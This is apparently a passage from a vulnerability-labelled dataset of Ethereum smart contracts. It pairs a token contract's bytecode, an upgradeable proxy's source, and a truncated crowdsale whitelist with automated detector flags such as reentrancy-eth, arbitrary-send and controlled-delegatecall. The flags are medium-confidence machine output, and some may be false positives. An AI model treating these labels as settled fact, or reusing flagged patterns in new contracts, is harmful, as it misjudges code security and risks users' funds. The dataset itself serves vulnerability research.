10611ee0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f4730601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b2565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fab959493929190612f74565b600060405180830381600087803b158015611fc557600080fd5b505af1158015611fd9573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561200f5760009050612071565b6000828461201d9190613116565b905082848261202c91906130e5565b1461206c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161206390612e99565b60405180910390fd5b809150505b92915050565b60006120b983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612119565b905092915050565b806120cf576120ce61217c565b5b6120da8484846121bf565b806120e8576120e761238a565b5b50505050565b60008060006120fb61239e565b91509150612112818361207790919063ffffffff16565b9250505090565b60008083118290612160576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121579190612dd7565b60405180910390fd5b506000838561216f91906130e5565b9050809150509392505050565b6000600a5414801561219057506000600b54145b1561219a576121bd565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806121d187612406565b95509550955095509550955061222f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122c485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231081612516565b61231a84836125d3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123779190612f59565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006a084595161401484a00000090506123d86a084595161401484a00000060085461207790919063ffffffff16565b8210156123f9576008546a084595161401484a000000935093505050612402565b81819350935050505b9091565b60008060008060008060008060006124238a600a54600b5461260d565b92509250925060006124336120ee565b905060008060006124468e8787876126a3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124b083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b35565b905092915050565b60008082846124c7919061308f565b90508381101561250c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161250390612e59565b60405180910390fd5b8091505092915050565b60006125206120ee565b905060006125378284611ffc90919063ffffffff16565b905061258b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125e88260085461246e90919063ffffffff16565b600881905550612603816009546124b890919063ffffffff16565b6009819055505050565b600080600080612639606461262b888a611ffc90919063ffffffff16565b61207790919063ffffffff16565b905060006126636064612655888b611ffc90919063ffffffff16565b61207790919063ffffffff16565b9050600061268c8261267e858c61246e90919063ffffffff16565b61246e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126bc8589611ffc90919063ffffffff16565b905060006126d38689611ffc90919063ffffffff16565b905060006126ea8789611ffc90919063ffffffff16565b9050600061271382612705858761246e90919063ffffffff16565b61246e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061273f61273a8461300e565b612fe9565b9050808382526020820190508285602086028201111561275e57600080fd5b60005b8581101561278e57816127748882612798565b845260208401935060208301925050600181019050612761565b5050509392505050565b6000813590506127a781613623565b92915050565b6000815190506127bc81613623565b92915050565b600082601f8301126127d357600080fd5b81356127e384826020860161272c565b91505092915050565b6000813590506127fb8161363a565b92915050565b6000815190506128108161363a565b92915050565b60008135905061282581613651565b92915050565b60008151905061283a81613651565b92915050565b60006020828403121561285257600080fd5b600061286084828501612798565b91505092915050565b60006020828403121561287b57600080fd5b6000612889848285016127ad565b91505092915050565b600080604083850312156128a557600080fd5b60006128b385828601612798565b92505060206128c485828601612798565b9150509250929050565b6000806000606084860312156128e357600080fd5b60006128f186828701612798565b935050602061290286828701612798565b925050604061291386828701612816565b9150509250925092565b6000806040838503121561293057600080fd5b600061293e85828601612798565b925050602061294f85828601612816565b9150509250929050565b60006020828403121561296b57600080fd5b600082013567ffffffffffffffff81111561298557600080fd5b612991848285016127c2565b91505092915050565b6000602082840312156129ac57600080fd5b60006129ba848285016127ec565b91505092915050565b6000602082840312156129d557600080fd5b60006129e384828501612801565b91505092915050565b6000602082840312156129fe57600080fd5b6000612a0c84828501612816565b91505092915050565b600080600060608486031215612a2a57600080fd5b6000612a388682870161282b565b9350506020612a498682870161282b565b9250506040612a5a8682870161282b565b9150509250925092565b6000612a708383612a7c565b60208301905092915050565b612a85816131a4565b82525050565b612a94816131a4565b82525050565b6000612aa58261304a565b612aaf818561306d565b9350612aba8361303a565b8060005b83811015612aeb578151612ad28882612a64565b9750612add83613060565b925050600181019050612abe565b5085935050505092915050565b612b01816131b6565b82525050565b612b10816131f9565b82525050565b6000612b2182613055565b612b2b818561307e565b9350612b3b81856020860161320b565b612b4481613345565b840191505092915050565b6000612b5c60238361307e565b9150612b6782613356565b604082019050919050565b6000612b7f602a8361307e565b9150612b8a826133a5565b604082019050919050565b6000612ba260228361307e565b9150612bad826133f4565b604082019050919050565b6000612bc5601b8361307e565b9150612bd082613443565b602082019050919050565b6000612be8601d8361307e565b9150612bf38261346c565b602082019050919050565b6000612c0b60218361307e565b9150612c1682613495565b604082019050919050565b6000612c2e60208361307e565b9150612c39826134e4565b602082019050919050565b6000612c5160298361307e565b9150612c5c8261350d565b604082019050919050565b6000612c7460258361307e565b9150612c7f8261355c565b604082019050919050565b6000612c9760248361307e565b9150612ca2826135ab565b604082019050919050565b6000612cba60178361307e565b9150612cc5826135fa565b602082019050919050565b612cd9816131e2565b82525050565b612ce8816131ec565b82525050565b6000602082019050612d036000830184612a8b565b92915050565b6000604082019050612d1e6000830185612a8b565b612d2b6020830184612a8b565b9392505050565b6000604082019050612d476000830185612a8b565b612d546020830184612cd0565b9392505050565b600060c082019050612d706000830189612a8b565b612d7d6020830188612cd0565b612d8a6040830187612b07565b612d976060830186612b07565b612da46080830185612a8b565b612db160a0830184612cd0565b979650505050505050565b6000602082019050612dd16000830184612af8565b92915050565b60006020820190508181036000830152612df18184612b16565b905092915050565b60006020820190508181036000830152612e1281612b4f565b9050919050565b60006020820190508181036000830152612e3281612b72565b9050919050565b60006020820190508181036000830152612e5281612b95565b9050919050565b60006020820190508181036000830152612e7281612bb8565b9050919050565b60006020820190508181036000830152612e9281612bdb565b9050919050565b60006020820190508181036000830152612eb281612bfe565b9050919050565b60006020820190508181036000830152612ed281612c21565b9050919050565b60006020820190508181036000830152612ef281612c44565b9050919050565b60006020820190508181036000830152612f1281612c67565b9050919050565b60006020820190508181036000830152612f3281612c8a565b9050919050565b60006020820190508181036000830152612f5281612cad565b9050919050565b6000602082019050612f6e6000830184612cd0565b92915050565b600060a082019050612f896000830188612cd0565b612f966020830187612b07565b8181036040830152612fa88186612a9a565b9050612fb76060830185612a8b565b612fc46080830184612cd0565b9695505050505050565b6000602082019050612fe36000830184612cdf565b92915050565b6000612ff3613004565b9050612fff828261323e565b919050565b6000604051905090565b600067ffffffffffffffff82111561302957613028613316565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061309a826131e2565b91506130a5836131e2565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130da576130d96132b8565b5b828201905092915050565b60006130f0826131e2565b91506130fb836131e2565b92508261310b5761310a6132e7565b5b828204905092915050565b6000613121826131e2565b915061312c836131e2565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613165576131646132b8565b5b828202905092915050565b600061317b826131e2565b9150613186836131e2565b925082821015613199576131986132b8565b5b828203905092915050565b60006131af826131c2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613204826131e2565b9050919050565b60005b8381101561322957808201518184015260208101905061320e565b83811115613238576000848401525b50505050565b61324782613345565b810181811067ffffffffffffffff8211171561326657613265613316565b5b80604052505050565b600061327a826131e2565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132ad576132ac6132b8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61362c816131a4565b811461363757600080fd5b50565b613643816131b6565b811461364e57600080fd5b50565b61365a816131e2565b811461366557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122076b7bb28714fc517f8a668ea3bbd792848e6e2ef3bfc5e66f6b61494d7efa3e264736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,857
0xe595d67181d701a5356e010d9a58eb9a341f1dbd
pragma solidity 0.5.16; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, address _admin, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * @notice LiquidatorProxy delegates calls to a Liquidator implementation * @dev Extending on OpenZeppelin's InitializableAdminUpgradabilityProxy * means that the proxy is upgradable through a ProxyAdmin. LiquidatorProxy upgrades * are implemented by a DelayedProxyAdmin, which enforces a 1 week opt-out period. * All upgrades are governed through the current mStable governance. */ contract LiquidatorProxy is InitializableAdminUpgradeabilityProxy { }
0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f2839701461015e578063cf7a1d7714610191578063d1f5789414610250578063f851a4401461030657610070565b80633659cfe61461007a5780634f1ef286146100ad5780635c60da1b1461012d575b61007861031b565b005b34801561008657600080fd5b506100786004803603602081101561009d57600080fd5b50356001600160a01b0316610335565b610078600480360360408110156100c357600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ee57600080fd5b82018360208201111561010057600080fd5b8035906020019184600183028401116401000000008311171561012257600080fd5b50909250905061036f565b34801561013957600080fd5b5061014261041c565b604080516001600160a01b039092168252519081900360200190f35b34801561016a57600080fd5b506100786004803603602081101561018157600080fd5b50356001600160a01b0316610459565b610078600480360360608110156101a757600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101db57600080fd5b8201836020820111156101ed57600080fd5b8035906020019184600183028401116401000000008311171561020f57600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610513945050505050565b6100786004803603604081101561026657600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460018302840111640100000000831117156102c557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610599945050505050565b34801561031257600080fd5b506101426106d9565b610323610704565b61033361032e610764565b610789565b565b61033d6107ad565b6001600160a01b0316336001600160a01b031614156103645761035f816107d2565b61036c565b61036c61031b565b50565b6103776107ad565b6001600160a01b0316336001600160a01b0316141561040f57610399836107d2565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d80600081146103f6576040519150601f19603f3d011682016040523d82523d6000602084013e6103fb565b606091505b505090508061040957600080fd5b50610417565b61041761031b565b505050565b60006104266107ad565b6001600160a01b0316336001600160a01b0316141561044e57610447610764565b9050610456565b61045661031b565b90565b6104616107ad565b6001600160a01b0316336001600160a01b03161415610364576001600160a01b0381166104bf5760405162461bcd60e51b81526004018080602001828103825260368152602001806108d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104e86107ad565b604080516001600160a01b03928316815291841660208301528051918290030190a161035f81610812565b600061051d610764565b6001600160a01b03161461053057600080fd5b61053a8382610599565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036000199091011461059057fe5b61041782610812565b60006105a3610764565b6001600160a01b0316146105b657600080fd5b604080517f656970313936372e70726f78792e696d706c656d656e746174696f6e000000008152905190819003601c0190207f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6000199091011461061657fe5b61061f82610836565b8051156106d5576000826001600160a01b0316826040518082805190602001908083835b602083106106625780518252601f199092019160209182019101610643565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d80600081146106c2576040519150601f19603f3d011682016040523d82523d6000602084013e6106c7565b606091505b505090508061041757600080fd5b5050565b60006106e36107ad565b6001600160a01b0316336001600160a01b0316141561044e576104476107ad565b61070c6107ad565b6001600160a01b0316336001600160a01b0316141561075c5760405162461bcd60e51b81526004018080602001828103825260328152602001806108a56032913960400191505060405180910390fd5b610333610333565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e8080156107a8573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b6107db81610836565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b61083f8161089e565b61087a5760405162461bcd60e51b815260040180806020018281038252603b81526020018061090d603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc55565b3b15159056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a265627a7a72315820208adc5f8bd630b648f759fe73683018bdf78a669fca3fb7bb7ed2995a7830f964736f6c63430005100032
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
8,858
0x9fa6cb72782de85c5ec9d567cbf4fc4c1e1941ee
pragma solidity ^0.4.23; // File: contracts/grapevine/crowdsale/GrapevineWhitelistInterface.sol /** * @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities. * @dev Grapevine Crowdsale **/ contract GrapevineWhitelistInterface { /** * @dev Function to check if an address is whitelisted or not * @param _address address The address to be checked. */ function whitelist(address _address) view external returns (bool); /** * @dev Handles the off-chain whitelisting. * @param _addr Address of the sender. * @param _sig signed message provided by the sender. */ function handleOffchainWhitelisted(address _addr, bytes _sig) external returns (bool); } // File: openzeppelin-solidity/contracts/ECRecovery.sol /** * @title Eliptic curve signature operations * * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * */ library ECRecovery { /** * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param sig bytes signature, the signature is generated using web3.eth.sign() */ function recover(bytes32 hash, bytes sig) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; // Check the signature length if (sig.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solium-disable-next-line security/no-inline-assembly assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) v := byte(0, mload(add(sig, 96))) } // Version of signature should be 27 or 28, but 0 and 1 are also possible versions if (v < 27) { v += 27; } // If the version is correct return the signer address if (v != 27 && v != 28) { return (address(0)); } else { // solium-disable-next-line arg-overflow return ecrecover(hash, v, r, s); } } /** * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * @dev and hash the result */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256( "\x19Ethereum Signed Message:\n32", hash ); } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/ownership/rbac/Roles.sol /** * @title Roles * @author Francisco Giordano (@frangio) * @dev Library for managing addresses assigned to a Role. * See RBAC.sol for example usage. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an address access to this role */ function add(Role storage role, address addr) internal { role.bearer[addr] = true; } /** * @dev remove an address' access to this role */ function remove(Role storage role, address addr) internal { role.bearer[addr] = false; } /** * @dev check if an address has this role * // reverts */ function check(Role storage role, address addr) view internal { require(has(role, addr)); } /** * @dev check if an address has this role * @return bool */ function has(Role storage role, address addr) view internal returns (bool) { return role.bearer[addr]; } } // File: openzeppelin-solidity/contracts/ownership/rbac/RBAC.sol /** * @title RBAC (Role-Based Access Control) * @author Matt Condon (@Shrugs) * @dev Stores and provides setters and getters for roles and addresses. * @dev Supports unlimited numbers of roles and addresses. * @dev See //contracts/mocks/RBACMock.sol for an example of usage. * This RBAC method uses strings to key roles. It may be beneficial * for you to write your own implementation of this interface using Enums or similar. * It's also recommended that you define constants in the contract, like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address addr, string roleName); event RoleRemoved(address addr, string roleName); /** * @dev reverts if addr does not have role * @param addr address * @param roleName the name of the role * // reverts */ function checkRole(address addr, string roleName) view public { roles[roleName].check(addr); } /** * @dev determine if addr has role * @param addr address * @param roleName the name of the role * @return bool */ function hasRole(address addr, string roleName) view public returns (bool) { return roles[roleName].has(addr); } /** * @dev add a role to an address * @param addr address * @param roleName the name of the role */ function addRole(address addr, string roleName) internal { roles[roleName].add(addr); emit RoleAdded(addr, roleName); } /** * @dev remove a role from an address * @param addr address * @param roleName the name of the role */ function removeRole(address addr, string roleName) internal { roles[roleName].remove(addr); emit RoleRemoved(addr, roleName); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param roleName the name of the role * // reverts */ modifier onlyRole(string roleName) { checkRole(msg.sender, roleName); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param roleNames the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] roleNames) { // bool hasAnyRole = false; // for (uint8 i = 0; i < roleNames.length; i++) { // if (hasRole(msg.sender, roleNames[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } // File: openzeppelin-solidity/contracts/access/SignatureBouncer.sol /** * @title SignatureBouncer * @author PhABC and Shrugs * @dev Bouncer allows users to submit a signature as a permission to do an action. * If the signature is from one of the authorized bouncer addresses, the signature * is valid. The owner of the contract adds/removes bouncers. * Bouncer addresses can be individual servers signing grants or different * users within a decentralized club that have permission to invite other members. * * This technique is useful for whitelists and airdrops; instead of putting all * valid addresses on-chain, simply sign a grant of the form * keccak256(`:contractAddress` + `:granteeAddress`) using a valid bouncer address. * Then restrict access to your crowdsale/whitelist/airdrop using the * 